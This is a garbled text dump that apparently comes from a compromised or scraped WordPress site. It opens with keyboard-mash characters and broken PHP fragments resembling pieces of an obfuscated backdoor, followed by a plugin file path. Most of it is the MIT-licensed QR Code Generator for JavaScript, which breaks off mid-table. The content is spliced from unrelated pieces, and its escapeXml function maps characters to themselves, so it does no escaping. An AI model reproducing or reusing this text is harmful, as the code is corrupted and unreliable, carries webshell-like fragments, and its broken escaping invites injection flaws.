财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV
v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) {
http_response_code(402);
exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-content/plugins/really-simple-ssl/assets/js/qrcode.js
//---------------------------------------------------------------------
//
// QR Code Generator for JavaScript
//
// Copyright (c) 2009 Kazuhiko Arase
//
// URL: http://www.d-project.com/
//
// Licensed under the MIT license:
// http://www.opensource.org/licenses/mit-license.php
//
// The word 'QR Code' is registered trademark of
// DENSO WAVE INCORPORATED
// http://www.denso-wave.com/qrcode/faqpatent-e.html
//
//---------------------------------------------------------------------
var qrcode = function() {
//---------------------------------------------------------------------
// qrcode
//---------------------------------------------------------------------
/**
* qrcode
* @param typeNumber 1 to 40
* @param errorCorrectionLevel 'L','M','Q','H'
*/
var qrcode = function(typeNumber, errorCorrectionLevel) {
var PAD0 = 0xEC;
var PAD1 = 0x11;
var _typeNumber = typeNumber;
var _errorCorrectionLevel = QRErrorCorrectionLevel[errorCorrectionLevel];
var _modules = null;
var _moduleCount = 0;
var _dataCache = null;
var _dataList = [];
var _this = {};
var makeImpl = function(test, maskPattern) {
_moduleCount = _typeNumber * 4 + 17;
_modules = function(moduleCount) {
var modules = new Array(moduleCount);
for (var row = 0; row < moduleCount; row += 1) {
modules[row] = new Array(moduleCount);
for (var col = 0; col < moduleCount; col += 1) {
modules[row][col] = null;
}
}
return modules;
}(_moduleCount);
setupPositionProbePattern(0, 0);
setupPositionProbePattern(_moduleCount - 7, 0);
setupPositionProbePattern(0, _moduleCount - 7);
setupPositionAdjustPattern();
setupTimingPattern();
setupTypeInfo(test, maskPattern);
if (_typeNumber >= 7) {
setupTypeNumber(test);
}
if (_dataCache == null) {
_dataCache = createData(_typeNumber, _errorCorrectionLevel, _dataList);
}
mapData(_dataCache, maskPattern);
};
var setupPositionProbePattern = function(row, col) {
for (var r = -1; r <= 7; r += 1) {
if (row + r <= -1 || _moduleCount <= row + r) continue;
for (var c = -1; c <= 7; c += 1) {
if (col + c <= -1 || _moduleCount <= col + c) continue;
if ( (0 <= r && r <= 6 && (c == 0 || c == 6) )
|| (0 <= c && c <= 6 && (r == 0 || r == 6) )
|| (2 <= r && r <= 4 && 2 <= c && c <= 4) ) {
_modules[row + r][col + c] = true;
} else {
_modules[row + r][col + c] = false;
}
}
}
};
var getBestMaskPattern = function() {
var minLostPoint = 0;
var pattern = 0;
for (var i = 0; i < 8; i += 1) {
makeImpl(true, i);
var lostPoint = QRUtil.getLostPoint(_this);
if (i == 0 || minLostPoint > lostPoint) {
minLostPoint = lostPoint;
pattern = i;
}
}
return pattern;
};
var setupTimingPattern = function() {
for (var r = 8; r < _moduleCount - 8; r += 1) {
if (_modules[r][6] != null) {
continue;
}
_modules[r][6] = (r % 2 == 0);
}
for (var c = 8; c < _moduleCount - 8; c += 1) {
if (_modules[6][c] != null) {
continue;
}
_modules[6][c] = (c % 2 == 0);
}
};
var setupPositionAdjustPattern = function() {
var pos = QRUtil.getPatternPosition(_typeNumber);
for (var i = 0; i < pos.length; i += 1) {
for (var j = 0; j < pos.length; j += 1) {
var row = pos[i];
var col = pos[j];
if (_modules[row][col] != null) {
continue;
}
for (var r = -2; r <= 2; r += 1) {
for (var c = -2; c <= 2; c += 1) {
if (r == -2 || r == 2 || c == -2 || c == 2
|| (r == 0 && c == 0) ) {
_modules[row + r][col + c] = true;
} else {
_modules[row + r][col + c] = false;
}
}
}
}
}
};
var setupTypeNumber = function(test) {
var bits = QRUtil.getBCHTypeNumber(_typeNumber);
for (var i = 0; i < 18; i += 1) {
var mod = (!test && ( (bits >> i) & 1) == 1);
_modules[Math.floor(i / 3)][i % 3 + _moduleCount - 8 - 3] = mod;
}
for (var i = 0; i < 18; i += 1) {
var mod = (!test && ( (bits >> i) & 1) == 1);
_modules[i % 3 + _moduleCount - 8 - 3][Math.floor(i / 3)] = mod;
}
};
var setupTypeInfo = function(test, maskPattern) {
var data = (_errorCorrectionLevel << 3) | maskPattern;
var bits = QRUtil.getBCHTypeInfo(data);
// vertical
for (var i = 0; i < 15; i += 1) {
var mod = (!test && ( (bits >> i) & 1) == 1);
if (i < 6) {
_modules[i][8] = mod;
} else if (i < 8) {
_modules[i + 1][8] = mod;
} else {
_modules[_moduleCount - 15 + i][8] = mod;
}
}
// horizontal
for (var i = 0; i < 15; i += 1) {
var mod = (!test && ( (bits >> i) & 1) == 1);
if (i < 8) {
_modules[8][_moduleCount - i - 1] = mod;
} else if (i < 9) {
_modules[8][15 - i - 1 + 1] = mod;
} else {
_modules[8][15 - i - 1] = mod;
}
}
// fixed module
_modules[_moduleCount - 8][8] = (!test);
};
var mapData = function(data, maskPattern) {
var inc = -1;
var row = _moduleCount - 1;
var bitIndex = 7;
var byteIndex = 0;
var maskFunc = QRUtil.getMaskFunction(maskPattern);
for (var col = _moduleCount - 1; col > 0; col -= 2) {
if (col == 6) col -= 1;
while (true) {
for (var c = 0; c < 2; c += 1) {
if (_modules[row][col - c] == null) {
var dark = false;
if (byteIndex < data.length) {
dark = ( ( (data[byteIndex] >>> bitIndex) & 1) == 1);
}
var mask = maskFunc(row, col - c);
if (mask) {
dark = !dark;
}
_modules[row][col - c] = dark;
bitIndex -= 1;
if (bitIndex == -1) {
byteIndex += 1;
bitIndex = 7;
}
}
}
row += inc;
if (row < 0 || _moduleCount <= row) {
row -= inc;
inc = -inc;
break;
}
}
}
};
var createBytes = function(buffer, rsBlocks) {
var offset = 0;
var maxDcCount = 0;
var maxEcCount = 0;
var dcdata = new Array(rsBlocks.length);
var ecdata = new Array(rsBlocks.length);
for (var r = 0; r < rsBlocks.length; r += 1) {
var dcCount = rsBlocks[r].dataCount;
var ecCount = rsBlocks[r].totalCount - dcCount;
maxDcCount = Math.max(maxDcCount, dcCount);
maxEcCount = Math.max(maxEcCount, ecCount);
dcdata[r] = new Array(dcCount);
for (var i = 0; i < dcdata[r].length; i += 1) {
dcdata[r][i] = 0xff & buffer.getBuffer()[i + offset];
}
offset += dcCount;
var rsPoly = QRUtil.getErrorCorrectPolynomial(ecCount);
var rawPoly = qrPolynomial(dcdata[r], rsPoly.getLength() - 1);
var modPoly = rawPoly.mod(rsPoly);
ecdata[r] = new Array(rsPoly.getLength() - 1);
for (var i = 0; i < ecdata[r].length; i += 1) {
var modIndex = i + modPoly.getLength() - ecdata[r].length;
ecdata[r][i] = (modIndex >= 0)? modPoly.getAt(modIndex) : 0;
}
}
var totalCodeCount = 0;
for (var i = 0; i < rsBlocks.length; i += 1) {
totalCodeCount += rsBlocks[i].totalCount;
}
var data = new Array(totalCodeCount);
var index = 0;
for (var i = 0; i < maxDcCount; i += 1) {
for (var r = 0; r < rsBlocks.length; r += 1) {
if (i < dcdata[r].length) {
data[index] = dcdata[r][i];
index += 1;
}
}
}
for (var i = 0; i < maxEcCount; i += 1) {
for (var r = 0; r < rsBlocks.length; r += 1) {
if (i < ecdata[r].length) {
data[index] = ecdata[r][i];
index += 1;
}
}
}
return data;
};
var createData = function(typeNumber, errorCorrectionLevel, dataList) {
var rsBlocks = QRRSBlock.getRSBlocks(typeNumber, errorCorrectionLevel);
var buffer = qrBitBuffer();
for (var i = 0; i < dataList.length; i += 1) {
var data = dataList[i];
buffer.put(data.getMode(), 4);
buffer.put(data.getLength(), QRUtil.getLengthInBits(data.getMode(), typeNumber) );
data.write(buffer);
}
// calc num max data.
var totalDataCount = 0;
for (var i = 0; i < rsBlocks.length; i += 1) {
totalDataCount += rsBlocks[i].dataCount;
}
if (buffer.getLengthInBits() > totalDataCount * 8) {
throw 'code length overflow. ('
+ buffer.getLengthInBits()
+ '>'
+ totalDataCount * 8
+ ')';
}
// end code
if (buffer.getLengthInBits() + 4 <= totalDataCount * 8) {
buffer.put(0, 4);
}
// padding
while (buffer.getLengthInBits() % 8 != 0) {
buffer.putBit(false);
}
// padding
while (true) {
if (buffer.getLengthInBits() >= totalDataCount * 8) {
break;
}
buffer.put(PAD0, 8);
if (buffer.getLengthInBits() >= totalDataCount * 8) {
break;
}
buffer.put(PAD1, 8);
}
return createBytes(buffer, rsBlocks);
};
_this.addData = function(data, mode) {
mode = mode || 'Byte';
var newData = null;
switch(mode) {
case 'Numeric' :
newData = qrNumber(data);
break;
case 'Alphanumeric' :
newData = qrAlphaNum(data);
break;
case 'Byte' :
newData = qr8BitByte(data);
break;
case 'Kanji' :
newData = qrKanji(data);
break;
default :
throw 'mode:' + mode;
}
_dataList.push(newData);
_dataCache = null;
};
_this.isDark = function(row, col) {
if (row < 0 || _moduleCount <= row || col < 0 || _moduleCount <= col) {
throw row + ',' + col;
}
return _modules[row][col];
};
_this.getModuleCount = function() {
return _moduleCount;
};
_this.make = function() {
if (_typeNumber < 1) {
var typeNumber = 1;
for (; typeNumber < 40; typeNumber++) {
var rsBlocks = QRRSBlock.getRSBlocks(typeNumber, _errorCorrectionLevel);
var buffer = qrBitBuffer();
for (var i = 0; i < _dataList.length; i++) {
var data = _dataList[i];
buffer.put(data.getMode(), 4);
buffer.put(data.getLength(), QRUtil.getLengthInBits(data.getMode(), typeNumber) );
data.write(buffer);
}
var totalDataCount = 0;
for (var i = 0; i < rsBlocks.length; i++) {
totalDataCount += rsBlocks[i].dataCount;
}
if (buffer.getLengthInBits() <= totalDataCount * 8) {
break;
}
}
_typeNumber = typeNumber;
}
makeImpl(false, getBestMaskPattern() );
};
_this.createTableTag = function(cellSize, margin) {
cellSize = cellSize || 2;
margin = (typeof margin == 'undefined')? cellSize * 4 : margin;
var qrHtml = '';
qrHtml += '<table style="';
qrHtml += ' border-width: 0px; border-style: none;';
qrHtml += ' border-collapse: collapse;';
qrHtml += ' padding: 0px; margin: ' + margin + 'px;';
qrHtml += '">';
qrHtml += '<tbody>';
for (var r = 0; r < _this.getModuleCount(); r += 1) {
qrHtml += '<tr>';
for (var c = 0; c < _this.getModuleCount(); c += 1) {
qrHtml += '<td style="';
qrHtml += ' border-width: 0px; border-style: none;';
qrHtml += ' border-collapse: collapse;';
qrHtml += ' padding: 0px; margin: 0px;';
qrHtml += ' width: ' + cellSize + 'px;';
qrHtml += ' height: ' + cellSize + 'px;';
qrHtml += ' background-color: ';
qrHtml += _this.isDark(r, c)? '#000000' : '#ffffff';
qrHtml += ';';
qrHtml += '"/>';
}
qrHtml += '</tr>';
}
qrHtml += '</tbody>';
qrHtml += '</table>';
return qrHtml;
};
_this.createSvgTag = function(cellSize, margin, alt, title) {
var opts = {};
if (typeof arguments[0] == 'object') {
// Called by options.
opts = arguments[0];
// overwrite cellSize and margin.
cellSize = opts.cellSize;
margin = opts.margin;
alt = opts.alt;
title = opts.title;
}
cellSize = cellSize || 2;
margin = (typeof margin == 'undefined')? cellSize * 4 : margin;
// Compose alt property surrogate
alt = (typeof alt === 'string') ? {text: alt} : alt || {};
alt.text = alt.text || null;
alt.id = (alt.text) ? alt.id || 'qrcode-description' : null;
// Compose title property surrogate
title = (typeof title === 'string') ? {text: title} : title || {};
title.text = title.text || null;
title.id = (title.text) ? title.id || 'qrcode-title' : null;
var size = _this.getModuleCount() * cellSize + margin * 2;
var c, mc, r, mr, qrSvg='', rect;
rect = 'l' + cellSize + ',0 0,' + cellSize +
' -' + cellSize + ',0 0,-' + cellSize + 'z ';
qrSvg += '<svg version="1.1" xmlns="http://www.w3.org/2000/svg"';
qrSvg += !opts.scalable ? ' width="' + size + 'px" height="' + size + 'px"' : '';
qrSvg += ' viewBox="0 0 ' + size + ' ' + size + '" ';
qrSvg += ' preserveAspectRatio="xMinYMin meet"';
qrSvg += (title.text || alt.text) ? ' role="img" aria-labelledby="' +
escapeXml([title.id, alt.id].join(' ').trim() ) + '"' : '';
qrSvg += '>';
qrSvg += (title.text) ? '<title id="' + escapeXml(title.id) + '">' +
escapeXml(title.text) + '</title>' : '';
qrSvg += (alt.text) ? '<description id="' + escapeXml(alt.id) + '">' +
escapeXml(alt.text) + '</description>' : '';
qrSvg += '<rect width="100%" height="100%" fill="white" cx="0" cy="0"/>';
qrSvg += '<path d="';
for (r = 0; r < _this.getModuleCount(); r += 1) {
mr = r * cellSize + margin;
for (c = 0; c < _this.getModuleCount(); c += 1) {
if (_this.isDark(r, c) ) {
mc = c*cellSize+margin;
qrSvg += 'M' + mc + ',' + mr + rect;
}
}
}
qrSvg += '" stroke="transparent" fill="black"/>';
qrSvg += '</svg>';
return qrSvg;
};
_this.createDataURL = function(cellSize, margin) {
cellSize = cellSize || 2;
margin = (typeof margin == 'undefined')? cellSize * 4 : margin;
var size = _this.getModuleCount() * cellSize + margin * 2;
var min = margin;
var max = size - margin;
return createDataURL(size, size, function(x, y) {
if (min <= x && x < max && min <= y && y < max) {
var c = Math.floor( (x - min) / cellSize);
var r = Math.floor( (y - min) / cellSize);
return _this.isDark(r, c)? 0 : 1;
} else {
return 1;
}
} );
};
_this.createImgTag = function(cellSize, margin, alt) {
cellSize = cellSize || 2;
margin = (typeof margin == 'undefined')? cellSize * 4 : margin;
var size = _this.getModuleCount() * cellSize + margin * 2;
var img = '';
img += '<img';
img += '\u0020src="';
img += _this.createDataURL(cellSize, margin);
img += '"';
img += '\u0020width="';
img += size;
img += '"';
img += '\u0020height="';
img += size;
img += '"';
if (alt) {
img += '\u0020alt="';
img += escapeXml(alt);
img += '"';
}
img += '/>';
return img;
};
var escapeXml = function(s) {
var escaped = '';
for (var i = 0; i < s.length; i += 1) {
var c = s.charAt(i);
switch(c) {
case '<': escaped += '<'; break;
case '>': escaped += '>'; break;
case '&': escaped += '&'; break;
case '"': escaped += '"'; break;
default : escaped += c; break;
}
}
return escaped;
};
var _createHalfASCII = function(margin) {
var cellSize = 1;
margin = (typeof margin == 'undefined')? cellSize * 2 : margin;
var size = _this.getModuleCount() * cellSize + margin * 2;
var min = margin;
var max = size - margin;
var y, x, r1, r2, p;
var blocks = {
'██': '█',
'█ ': '▀',
' █': '▄',
' ': ' '
};
var blocksLastLineNoMargin = {
'██': '▀',
'█ ': '▀',
' █': ' ',
' ': ' '
};
var ascii = '';
for (y = 0; y < size; y += 2) {
r1 = Math.floor((y - min) / cellSize);
r2 = Math.floor((y + 1 - min) / cellSize);
for (x = 0; x < size; x += 1) {
p = '█';
if (min <= x && x < max && min <= y && y < max && _this.isDark(r1, Math.floor((x - min) / cellSize))) {
p = ' ';
}
if (min <= x && x < max && min <= y+1 && y+1 < max && _this.isDark(r2, Math.floor((x - min) / cellSize))) {
p += ' ';
}
else {
p += '█';
}
// Output 2 characters per pixel, to create full square. 1 character per pixels gives only half width of square.
ascii += (margin < 1 && y+1 >= max) ? blocksLastLineNoMargin[p] : blocks[p];
}
ascii += '\n';
}
if (size % 2 && margin > 0) {
return ascii.substring(0, ascii.length - size - 1) + Array(size+1).join('▀');
}
return ascii.substring(0, ascii.length-1);
};
_this.createASCII = function(cellSize, margin) {
cellSize = cellSize || 1;
if (cellSize < 2) {
return _createHalfASCII(margin);
}
cellSize -= 1;
margin = (typeof margin == 'undefined')? cellSize * 2 : margin;
var size = _this.getModuleCount() * cellSize + margin * 2;
var min = margin;
var max = size - margin;
var y, x, r, p;
var white = Array(cellSize+1).join('██');
var black = Array(cellSize+1).join(' ');
var ascii = '';
var line = '';
for (y = 0; y < size; y += 1) {
r = Math.floor( (y - min) / cellSize);
line = '';
for (x = 0; x < size; x += 1) {
p = 1;
if (min <= x && x < max && min <= y && y < max && _this.isDark(r, Math.floor((x - min) / cellSize))) {
p = 0;
}
// Output 2 characters per pixel, to create full square. 1 character per pixels gives only half width of square.
line += p ? white : black;
}
for (r = 0; r < cellSize; r += 1) {
ascii += line + '\n';
}
}
return ascii.substring(0, ascii.length-1);
};
_this.renderTo2dContext = function(context, cellSize) {
cellSize = cellSize || 2;
var length = _this.getModuleCount();
for (var row = 0; row < length; row++) {
for (var col = 0; col < length; col++) {
context.fillStyle = _this.isDark(row, col) ? 'black' : 'white';
context.fillRect(row * cellSize, col * cellSize, cellSize, cellSize);
}
}
}
return _this;
};
//---------------------------------------------------------------------
// qrcode.stringToBytes
//---------------------------------------------------------------------
qrcode.stringToBytesFuncs = {
'default' : function(s) {
var bytes = [];
for (var i = 0; i < s.length; i += 1) {
var c = s.charCodeAt(i);
bytes.push(c & 0xff);
}
return bytes;
}
};
qrcode.stringToBytes = qrcode.stringToBytesFuncs['default'];
//---------------------------------------------------------------------
// qrcode.createStringToBytes
//---------------------------------------------------------------------
/**
* @param unicodeData base64 string of byte array.
* [16bit Unicode],[16bit Bytes], ...
* @param numChars
*/
qrcode.createStringToBytes = function(unicodeData, numChars) {
// create conversion map.
var unicodeMap = function() {
var bin = base64DecodeInputStream(unicodeData);
var read = function() {
var b = bin.read();
if (b == -1) throw 'eof';
return b;
};
var count = 0;
var unicodeMap = {};
while (true) {
var b0 = bin.read();
if (b0 == -1) break;
var b1 = read();
var b2 = read();
var b3 = read();
var k = String.fromCharCode( (b0 << 8) | b1);
var v = (b2 << 8) | b3;
unicodeMap[k] = v;
count += 1;
}
if (count != numChars) {
throw count + ' != ' + numChars;
}
return unicodeMap;
}();
var unknownChar = '?'.charCodeAt(0);
return function(s) {
var bytes = [];
for (var i = 0; i < s.length; i += 1) {
var c = s.charCodeAt(i);
if (c < 128) {
bytes.push(c);
} else {
var b = unicodeMap[s.charAt(i)];
if (typeof b == 'number') {
if ( (b & 0xff) == b) {
// 1byte
bytes.push(b);
} else {
// 2bytes
bytes.push(b >>> 8);
bytes.push(b & 0xff);
}
} else {
bytes.push(unknownChar);
}
}
}
return bytes;
};
};
//---------------------------------------------------------------------
// QRMode
//---------------------------------------------------------------------
var QRMode = {
MODE_NUMBER : 1 << 0,
MODE_ALPHA_NUM : 1 << 1,
MODE_8BIT_BYTE : 1 << 2,
MODE_KANJI : 1 << 3
};
//---------------------------------------------------------------------
// QRErrorCorrectionLevel
//---------------------------------------------------------------------
var QRErrorCorrectionLevel = {
L : 1,
M : 0,
Q : 3,
H : 2
};
//---------------------------------------------------------------------
// QRMaskPattern
//---------------------------------------------------------------------
var QRMaskPattern = {
PATTERN000 : 0,
PATTERN001 : 1,
PATTERN010 : 2,
PATTERN011 : 3,
PATTERN100 : 4,
PATTERN101 : 5,
PATTERN110 : 6,
PATTERN111 : 7
};
//---------------------------------------------------------------------
// QRUtil
//---------------------------------------------------------------------
var QRUtil = function() {
var PATTERN_POSITION_TABLE = [
[],
[6, 18],
[6, 22],
[6, 26],
[6, 30],
[6, 34],
[6, 22, 38],
[6, 24, 42],
[6, 26, 46],
[6, 28, 50],
[6, 30, 54],
[6, 32, 58],
[6, 34, 62],
[6, 26, 46, 66],
[6, 26, 48, 70],
[6, 26, 50, 74],
[6, 30, 54, 78],
[6, 30, 56, 82],
[6, 30, 58, 86],
[6, 34, 62, 90],
[6, 28, 50, 72, 94],
[6, 26, 50, 74, 98],
[6, 30, 54, 78, 102],
[6, 28, 54, 80, 106],
[6, 32, 58, 84, 110],
[6, 30, 58, 86, 114],
[6, 34, 62, 90, 118],
[6, 26, 50, 74, 98, 122],
[6, 30, 54, 78, 102, 126],
[6, 26, 52, 78, 104, 130],
[6, 30, 56, 82, 108, 134],
[6, 34, 60, 86, 112, 138],
[6, 30, 58, 86, 114, 142],
[6, 34, 62, 90, 118, 146],
[6, 30, 54, 78, 102, 126, 150],
[6, 24, 50, 76, 102, 128, 154],
[6, 28, 54, 80, 106, 132, 158],
[6, 32, 58, 84, 110, 136, 162],
[6, 26, 54, 82, 110, 138, 166],
[6, 30, 58, 86, 114, 142, 170]
];
var G15 = (1 << 10) | (1 << 8) | (1 << 5) | (1 << 4) | (1 << 2) | (1 << 1) | (1 << 0);
var G18 = (1 << 12) | (1 << 11) | (1 << 10) | (1 << 9) | (1 << 8) | (1 << 5) | (1 << 2) | (1 << 0);
var G15_MASK = (1 << 14) | (1 << 12) | (1 << 10) | (1 << 4) | (1 << 1);
var _this = {};
var getBCHDigit = function(data) {
var digit = 0;
while (data != 0) {
digit += 1;
data >>>= 1;
}
return digit;
};
_this.getBCHTypeInfo = function(data) {
var d = data << 10;
while (getBCHDigit(d) - getBCHDigit(G15) >= 0) {
d ^= (G15 << (getBCHDigit(d) - getBCHDigit(G15) ) );
}
return ( (data << 10) | d) ^ G15_MASK;
};
_this.getBCHTypeNumber = function(data) {
var d = data << 12;
while (getBCHDigit(d) - getBCHDigit(G18) >= 0) {
d ^= (G18 << (getBCHDigit(d) - getBCHDigit(G18) ) );
}
return (data << 12) | d;
};
_this.getPatternPosition = function(typeNumber) {
return PATTERN_POSITION_TABLE[typeNumber - 1];
};
_this.getMaskFunction = function(maskPattern) {
switch (maskPattern) {
case QRMaskPattern.PATTERN000 :
return function(i, j) { return (i + j) % 2 == 0; };
case QRMaskPattern.PATTERN001 :
return function(i, j) { return i % 2 == 0; };
case QRMaskPattern.PATTERN010 :
return function(i, j) { return j % 3 == 0; };
case QRMaskPattern.PATTERN011 :
return function(i, j) { return (i + j) % 3 == 0; };
case QRMaskPattern.PATTERN100 :
return function(i, j) { return (Math.floor(i / 2) + Math.floor(j / 3) ) % 2 == 0; };
case QRMaskPattern.PATTERN101 :
return function(i, j) { return (i * j) % 2 + (i * j) % 3 == 0; };
case QRMaskPattern.PATTERN110 :
return function(i, j) { return ( (i * j) % 2 + (i * j) % 3) % 2 == 0; };
case QRMaskPattern.PATTERN111 :
return function(i, j) { return ( (i * j) % 3 + (i + j) % 2) % 2 == 0; };
default :
throw 'bad maskPattern:' + maskPattern;
}
};
_this.getErrorCorrectPolynomial = function(errorCorrectLength) {
var a = qrPolynomial([1], 0);
for (var i = 0; i < errorCorrectLength; i += 1) {
a = a.multiply(qrPolynomial([1, QRMath.gexp(i)], 0) );
}
return a;
};
_this.getLengthInBits = function(mode, type) {
if (1 <= type && type < 10) {
// 1 - 9
switch(mode) {
case QRMode.MODE_NUMBER : return 10;
case QRMode.MODE_ALPHA_NUM : return 9;
case QRMode.MODE_8BIT_BYTE : return 8;
case QRMode.MODE_KANJI : return 8;
default :
throw 'mode:' + mode;
}
} else if (type < 27) {
// 10 - 26
switch(mode) {
case QRMode.MODE_NUMBER : return 12;
case QRMode.MODE_ALPHA_NUM : return 11;
case QRMode.MODE_8BIT_BYTE : return 16;
case QRMode.MODE_KANJI : return 10;
default :
throw 'mode:' + mode;
}
} else if (type < 41) {
// 27 - 40
switch(mode) {
case QRMode.MODE_NUMBER : return 14;
case QRMode.MODE_ALPHA_NUM : return 13;
case QRMode.MODE_8BIT_BYTE : return 16;
case QRMode.MODE_KANJI : return 12;
default :
throw 'mode:' + mode;
}
} else {
throw 'type:' + type;
}
};
_this.getLostPoint = function(qrcode) {
var moduleCount = qrcode.getModuleCount();
var lostPoint = 0;
// LEVEL1
for (var row = 0; row < moduleCount; row += 1) {
for (var col = 0; col < moduleCount; col += 1) {
var sameCount = 0;
var dark = qrcode.isDark(row, col);
for (var r = -1; r <= 1; r += 1) {
if (row + r < 0 || moduleCount <= row + r) {
continue;
}
for (var c = -1; c <= 1; c += 1) {
if (col + c < 0 || moduleCount <= col + c) {
continue;
}
if (r == 0 && c == 0) {
continue;
}
if (dark == qrcode.isDark(row + r, col + c) ) {
sameCount += 1;
}
}
}
if (sameCount > 5) {
lostPoint += (3 + sameCount - 5);
}
}
};
// LEVEL2
for (var row = 0; row < moduleCount - 1; row += 1) {
for (var col = 0; col < moduleCount - 1; col += 1) {
var count = 0;
if (qrcode.isDark(row, col) ) count += 1;
if (qrcode.isDark(row + 1, col) ) count += 1;
if (qrcode.isDark(row, col + 1) ) count += 1;
if (qrcode.isDark(row + 1, col + 1) ) count += 1;
if (count == 0 || count == 4) {
lostPoint += 3;
}
}
}
// LEVEL3
for (var row = 0; row < moduleCount; row += 1) {
for (var col = 0; col < moduleCount - 6; col += 1) {
if (qrcode.isDark(row, col)
&& !qrcode.isDark(row, col + 1)
&& qrcode.isDark(row, col + 2)
&& qrcode.isDark(row, col + 3)
&& qrcode.isDark(row, col + 4)
&& !qrcode.isDark(row, col + 5)
&& qrcode.isDark(row, col + 6) ) {
lostPoint += 40;
}
}
}
for (var col = 0; col < moduleCount; col += 1) {
for (var row = 0; row < moduleCount - 6; row += 1) {
if (qrcode.isDark(row, col)
&& !qrcode.isDark(row + 1, col)
&& qrcode.isDark(row + 2, col)
&& qrcode.isDark(row + 3, col)
&& qrcode.isDark(row + 4, col)
&& !qrcode.isDark(row + 5, col)
&& qrcode.isDark(row + 6, col) ) {
lostPoint += 40;
}
}
}
// LEVEL4
var darkCount = 0;
for (var col = 0; col < moduleCount; col += 1) {
for (var row = 0; row < moduleCount; row += 1) {
if (qrcode.isDark(row, col) ) {
darkCount += 1;
}
}
}
var ratio = Math.abs(100 * darkCount / moduleCount / moduleCount - 50) / 5;
lostPoint += ratio * 10;
return lostPoint;
};
return _this;
}();
//---------------------------------------------------------------------
// QRMath
//---------------------------------------------------------------------
var QRMath = function() {
var EXP_TABLE = new Array(256);
var LOG_TABLE = new Array(256);
// initialize tables
for (var i = 0; i < 8; i += 1) {
EXP_TABLE[i] = 1 << i;
}
for (var i = 8; i < 256; i += 1) {
EXP_TABLE[i] = EXP_TABLE[i - 4]
^ EXP_TABLE[i - 5]
^ EXP_TABLE[i - 6]
^ EXP_TABLE[i - 8];
}
for (var i = 0; i < 255; i += 1) {
LOG_TABLE[EXP_TABLE[i] ] = i;
}
var _this = {};
_this.glog = function(n) {
if (n < 1) {
throw 'glog(' + n + ')';
}
return LOG_TABLE[n];
};
_this.gexp = function(n) {
while (n < 0) {
n += 255;
}
while (n >= 256) {
n -= 255;
}
return EXP_TABLE[n];
};
return _this;
}();
//---------------------------------------------------------------------
// qrPolynomial
//---------------------------------------------------------------------
function qrPolynomial(num, shift) {
if (typeof num.length == 'undefined') {
throw num.length + '/' + shift;
}
var _num = function() {
var offset = 0;
while (offset < num.length && num[offset] == 0) {
offset += 1;
}
var _num = new Array(num.length - offset + shift);
for (var i = 0; i < num.length - offset; i += 1) {
_num[i] = num[i + offset];
}
return _num;
}();
var _this = {};
_this.getAt = function(index) {
return _num[index];
};
_this.getLength = function() {
return _num.length;
};
_this.multiply = function(e) {
var num = new Array(_this.getLength() + e.getLength() - 1);
for (var i = 0; i < _this.getLength(); i += 1) {
for (var j = 0; j < e.getLength(); j += 1) {
num[i + j] ^= QRMath.gexp(QRMath.glog(_this.getAt(i) ) + QRMath.glog(e.getAt(j) ) );
}
}
return qrPolynomial(num, 0);
};
_this.mod = function(e) {
if (_this.getLength() - e.getLength() < 0) {
return _this;
}
var ratio = QRMath.glog(_this.getAt(0) ) - QRMath.glog(e.getAt(0) );
var num = new Array(_this.getLength() );
for (var i = 0; i < _this.getLength(); i += 1) {
num[i] = _this.getAt(i);
}
for (var i = 0; i < e.getLength(); i += 1) {
num[i] ^= QRMath.gexp(QRMath.glog(e.getAt(i) ) + ratio);
}
// recursive call
return qrPolynomial(num, 0).mod(e);
};
return _this;
};
//---------------------------------------------------------------------
// QRRSBlock
//---------------------------------------------------------------------
var QRRSBlock = function() {
var RS_BLOCK_TABLE = [
// L
// M
// Q
// H
// 1
[1, 26, 19],
[1, 26, 16],
[1, 26, 13],
[1, 26, 9],
// 2
[1, 44, 34],
[1, 44, 28],
[1, 44, 22],
[1, 44, 16],
// 3
[1, 70, 55],
[1, 70, 44],
[2, 35, 17],
[2, 35, 13],
// 4
[1, 100, 80],
[2, 50, 32],
[2, 50, 24],
[4, 25, 9],
// 5
[1, 134, 108],
[2, 67, 43],
[2, 33, 15, 2, 34, 16],
[2, 33, 11, 2, 34, 12],
// 6
[2, 86, 68],
[4, 43, 27],
[4, 43, 19],
[4, 43, 15],
// 7
[2, 98, 78],
[4, 49, 31],
[2, 32, 14, 4, 33, 15],
[4, 39, 13, 1, 40, 14],
// 8
[2, 121, 97],
[2, 60, 38, 2, 61, 39],
[4, 40, 18, 2, 41, 19],
[4, 40, 14, 2, 41, 15],
// 9
[2, 146, 116],
[3, 58, 36, 2, 59, 37],
[4, 36, 16, 4, 37, 17],
[4, 36, 12, 4, 37, 13],
// 10
[2, 86, 68, 2, 87, 69],
[4, 69, 43, 1, 70, 44],
[6, 43, 19, 2, 44, 20],
[6, 43, 15, 2, 44, 16],
// 11
[4, 101, 81],
[1, 80, 50, 4, 81, 51],
[4, 50, 22, 4, 51, 23],
[3, 36, 12, 8, 37, 13],
// 12
[2, 116, 92, 2, 117, 93],
[6, 58, 36, 2, 59, 37],
[4, 46, 20, 6, 47, 21],
[7, 42, 14, 4, 43, 15],
// 13
[4, 133, 107],
[8, 59, 37, 1, 60, 38],
[8, 44, 20, 4, 45, 21],
[12, 33, 11, 4, 34, 12],
// 14
[3, 145, 115, 1, 146, 116],
[4, 64, 40, 5, 65, 41],
[11, 36, 16, 5, 37, 17],
[11, 36, 12, 5, 37, 13],
// 15
[5, 109, 87, 1, 110, 88],
[5, 65, 41, 5, 66, 42],
[5, 54, 24, 7, 55, 25],
[11, 36, 12, 7, 37, 13],
// 16
[5, 122, 98, 1, 123, 99],
[7, 73, 45, 3, 74, 46],
[15, 43, 19, 2, 44, 20],
[3, 45, 15, 13, 46, 16],
// 17
[1, 135, 107, 5, 136, 108],
[10, 74, 46, 1, 75, 47],
[1, 50, 22, 15, 51, 23],
[2, 42, 14, 17, 43, 15],
// 18
[5, 150, 120, 1, 151, 121],
[9, 69, 43, 4, 70, 44],
[17, 50, 22, 1, 51, 23],
[2, 42, 14, 19, 43, 15],
// 19
[3, 141, 113, 4, 142, 114],
[3, 70, 44, 11, 71, 45],
[17, 47, 21, 4, 48, 22],
[9, 39, 13, 16, 40, 14],
// 20
[3, 135, 107, 5, 136, 108],
